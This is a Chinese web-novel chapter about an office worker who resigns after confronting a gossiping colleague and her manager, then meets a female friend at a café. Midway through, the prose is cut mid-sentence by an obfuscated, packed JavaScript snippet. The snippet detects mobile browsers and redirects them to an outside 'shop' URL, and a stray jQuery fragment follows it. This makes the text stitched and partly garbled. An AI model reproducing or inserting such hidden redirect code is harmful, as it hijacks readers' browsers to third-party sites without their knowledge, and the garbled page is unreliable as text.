这几日都下着雨,偏偏今日却日照高楼。一辆的士不紧不慢地停在入口前,在一干来往车辆之中并不显眼。很快从车上下来个女人,穿着张扬的红,单搭配着沉稳的黑中和着,就像她的红唇与黑发搭配着一样,衬着刚刚好。
电梯直上,“叮”了一声响,入眼规划部的牌子,如往常一般推开门,梁昭宴披着头发,烫得大波浪显得格外乖张,一向不掩饰的凌厉好似让不熟悉的人无法亲近,可又不舍得不看她。
不过总有人例外。王艳娟从梁昭宴一进来就迫不及待凑了过来,她似乎对于其今天的“不一样”感到不满又自豪,矛盾促使着挂上的笑脸虚伪又急切,连忙大声打着招呼:“梁梁呀,你来了呀!”
梁昭宴看着王艳娟,她头一回没有立马拉开距离,对于这个自己明确表现过排斥的人,后者依旧能乐此不疲地表现出这番虚情假意式的亲近,着实足以让人产生出敬佩。
“不对,应该叫梁组长啦。”此时的王艳娟正沉寂在自己的小世界,自然看不见梁昭宴的态度:“对啦,你知道吗?那个张小伙子,他离职了,哎呦,你应该知道吧?毕竟你比我跟认识他,嘿嘿...”
梁昭宴没回答,只是好整以暇地坐在工位上看人耍杂技。
而还不等她看多久,身侧就传来了开门的声音,紧接着就听见戴姐的声音:“小梁,你过来一下。”
闻言梁昭宴收回看表演的心思,转而从抽屉里掏出那瓶未开封的香水。一旁的王艳娟眼尖地抓住了机会,伸长脖子:“小梁啊,这是谁送你的呀?”
至此,梁昭宴也没再有放过她的心思,转过头,干脆利落地撕破脸:“王姐,其实我一直觉得,如果你能不那么多管闲事,其实也就不让人讨厌。”
王艳娟脸上的笑脸被迫冻结,她似乎还没从梁昭宴那一脸平静的讽刺中缓过神来,只得喃喃:“小梁...你说什么呢...”
梁昭宴的声音并不小,所说的在原本安静的办公室就格外清晰,如今已经不乏观望者往这边看过来。
而她还是保持着那副平淡,像是一位事不关己的局外者在阐述着一件微小的事情:“我第一天就在厕所听见你说的那些话了,从我到各位同事,再到领导,最后到副总?不得不说,口才确实不错。”
梁昭宴站起身来,只略微扫视了一圈,确保几乎是所有人都听见刚才的话,最后才把目光放在眼前脸色难看到发白的王艳娟:“以后还是换个地方说吧,很多人都听见了。只是我比较善良,说出来提醒你一下而已,别见怪。”
说完,也不再管王艳娟如今的水深火热,推开总经理的门,再关上,耳边就响起女人的声音:“今天的火气还挺大?是因为运营部那个小伙子结婚的事?”
这回轮到梁昭宴一愣:“什么?”
戴姐看着她的样子,有些意外:“你不知道?他的离职原因就是回去结婚。”
梁昭宴张张嘴,一时间没说出话来,回想那日张淮铮问自己请假理由,又问道:“什么时候的事?”
“就是你请假那天,”戴姐想也没想就抛出回答:“当时就提交离职申请了。”
也或许是怕眼前人多想,她立即开展下一个话题:“对了,你应该也接到通知了,这是升职认定,你签一下,提前祝贺你了。”
可就当戴姐将升职认定书放在桌前时,一只手也将一份文稿同时间放在它的旁侧,是一份离职申请书。
“这半年来,很感谢您的照拂。”梁昭宴的声线平稳地如一根被拉直了的线,自然也没什么感情。
戴姐拿起那份离职申请书,声音冷下来:“理由。”
“这份工作不适合我,想回家了。”
戴姐头也不抬:“我给你批假条,好好休息一段时间。”
梁昭宴轻声叹了口气:“直接批离职吧,不回来了。”
见她态度坚决,戴姐终于放下手中工作,开门见山:“那你的场子怎么办?”
这是头一次她们将这个敏感性的话题抬上来,可梁昭宴丝毫没有自乱阵脚的迹象,眼皮都没动一下:“总有人会去接手。”
戴姐抬起头,盯着她许久,房间内也因此而沉寂下来。最终她还是道:“不怕我检举你?”
梁昭宴从口袋里掏出那瓶未开封的香水,抬到桌面上,再往前推动:“姐,我们都是喜欢两全其美的人。”
戴姐没话说了,从对方脸上移开眼睛,转而盯着那瓶香水。
“什么意思?”
“我是个有恩必报的人,”梁昭宴看着她:“最近换了手机,有些东西都没有导过来,也索性不要了。”
戴姐听闻挑眉,眼里生出些兴味:“你是真不怕没了筹码?”
“我相信你的为人,”梁昭宴笑笑:“犯不着再跟我纠缠,好聚好散,江湖再见。”
开门声响起,外面的声音开始弥漫进来,同样的,里面的响动也会飘散出去。戴姐没有在此时开口的习惯,但不知为何,她看着女人往外走的背影,竟也没忍住:“香水忘拿了。”
“您留着吧,我用不惯这个味道。”
门合上,一切陷入沉寂。
足有半晌,戴姐从桌的那一头摸起了那瓶未开封的香水,包装严丝合缝,没有半点儿味道溢出来。
而她那一向严肃的脸竟破天荒地勾起了一抹笑,随即又将东西放落下来。
之后又被抬起来的,是几天后施真理手中的那一杯咖啡。画面侧移,便能从正门口看见刚好推门而入的女人。
施真理举着咖啡杯,余光慢腾腾地观赏着终于坐在自己面前的佳人,近半个月的小别,说许久也不算过分夸张。
她似乎胖了一点,可能是离职后心情舒畅的缘故?还有她今天的穿搭,有点小老板的贵气了,风风火火的,就跟本人性格一样的,真有趣。
施真理悄悄地想着,又抿了一口咖啡,忽然觉得没有那么苦得吓人了。
梁昭宴并不知道她心里的小九九,有些仓促地坐下来,紧接着就是道歉:“不好意思,今天来的时候堵车,没久等吧?”
“没关系,我也刚刚才到,给你点了一杯咖啡。”
对方脸上是不变的笑容,但今天似乎变得更真切了?居然没有穿白色的裙子,而改成墨绿色,竟意外夺人眼球,真不错。
梁昭宴收回大胆的目光,将摆放在跟前的咖啡送进了嘴里,只一口,她那好看的眉就皱起来,转而立即将杯子搁置回去,随即有些歉意地转向施真理:“抱歉,确实少喝咖啡。”
施真理眼底的笑意似乎更深了一点:“其实我也觉得有些苦。”
“是吧?”梁昭宴边说着,边从一旁拿着什么。施真理这才发现在她今天带了些东西过来,只是还不等她多看几眼,面前人变戏法似的举出一盒装饰得分外貌美的礼盒:“那吃点甜的吧。”
话音刚落,礼盒被打开,镶着一朵荷花的蛋糕呈现出来,施真理还处在意料之外,耳边又响起她的话:“特地去西街那家天鹅馆买的,听说了要提前预约,幸好你跟我约好了时间,不然还不知道今天能不能吃到呢。”
蛋糕是做成两半月牙靠在一起的,接过梁昭宴递过来的那一边,上面正好是荷花所在之处,在示意下品尝一口,人间美味。
她已经很久没有吃过甜食了,刚开始是男友不喜欢,紧接着是保持身材,到现在就算没有顾忌,可一个人吃,也终究少了点味道。
梁昭宴还在等着女人的反应:“怎么样?还可以吗?”
施真理闻声抬头,她幸福于今天选了靠窗的位
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17367921|196859||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
置,下午的微阳轻巧地映射进来,让对面的梁昭宴蒙上一层浮光,让这朵荷花好像变成了少女时代在校门口背着父母偷吃的小零嘴,格外珍贵。
“很好吃。”
听到这个令人满意的回答,梁昭宴也愉悦起来,她对甜食来者不拒,以至于对于好吃的标准也无限降低,可对于施真理,她是不愿意使其跟着自己将就的。
咖啡馆里静得很,两人年轻的女人靠窗坐着,店内的某位像是不甘周遭的沉寂,坐上了不远处的钢琴前,手指敲打出旋律,懒懒的调子,在人心上轻轻搔着,有些发痒。
是一首名为passacaglia的钢琴曲,梁昭宴听出来了,她抬起眼,正对上她的。两人都没说话,嘴角却都弯起一点懂得的弧度。空气里飘着奶油与咖啡的香,甜腻且稳妥。
随后,她的手在桌上,指尖沾着些蛋糕屑。她的手也在那儿,很近,默契地在举行着私密的仪式。
“没想到你会这么早走,”施真理的声音迎着曲子穿过来,混杂在一起,并不违和:“一下子倒没适应过来。”
说起这件事,戴姐似乎并没有履行她所谓的“检举”行动,不仅如此,打到梁昭宴卡里的工资竟也莫名地多出了一两倍。想至此,她张了张口:“抱歉,事情决定地有些忽然,还没来得及跟你提前说明...”
可话还没说完,就被女人轻轻打断:“小昭,有发现吗?你今天好像一直在道歉哦。”
梁昭宴轻微愣神,只看见女人那恬静的微笑,紧接着就是总是柔和的声调:“小昭,我总是希望你不要跟我太生疏,太客气了。”
说完,那双白皙而纤细的手伸了过来,一张纸巾擦去了指尖的蛋糕屑:“我想跟你亲近一点,我们是朋友,对吗?”
与她的睫羽一并垂下来,还有那片没有被盘起来的头丝。梁昭宴的目光一直没有离开过面前的女人,这个叫施真理的女人,似乎有无尽的魅力,足以吸引人去迷恋和探究的魅力。
施真理感受到那张纸巾被扯了一下,好像是一种大胆的挑逗,带着点调皮和天真,紧接着就是头顶传来的那声应答:“我们当然是朋友。”
“最近过得怎么样?”
梁昭宴认真想了一下,着实没什么能拿出来说,只好简明扼要:“还是照旧,还过得去吧,”许是又想起施真理刚才的小要求,她又开了个小玩笑:“是比在万象的时候好很多。”
“你呢?”
施真理笑着回答:“我也好。”
可没再多说,梁昭宴也在她的笑容中看见一丝不着痕迹的掩饰,但她没有再问,而是匆匆转开话题,伴随着钢琴曲的转换一起。
再推开门,外面的天色已经变了好几轮,看着应该是五六点,也或许是更晚更早些?有一辆车早已停在不远处,在她们出来站定时,忽然按了一声喇叭,在整条街道显得格外刺耳。
梁昭宴皱了一下眉,施真理却拉了一下她的衣角:“小昭,要送你一程吗?”
梁昭宴这才明白过来,原来这辆车上的人大概率是对方先前在天台上说的那个男人。
她又看了一眼原处,车上的男人被挡得结实,没有要下来的意思,甚至还在并不完全降下深黑的环境下打着远光,站在这里往那边看一眼,甚是刺眼。
压下心中对男人的异样,梁昭宴脸上升起对女人的微笑:“不用,我约了车,等等直接打回去就可以,路上小心。”
“好,”施真理没坚持,又捏了捏她的手臂:“到了给你发消息。”
车从她的面前驶过,带起一点难免的尘埃,甚至没有来得及让车内人摇下车窗的时间,匆促而无礼。梁昭宴孤立在原地,快速闪过的车窗映射出自己有些生冷的表情,以及那张永远也看不清的,坐在主驾驶的人脸。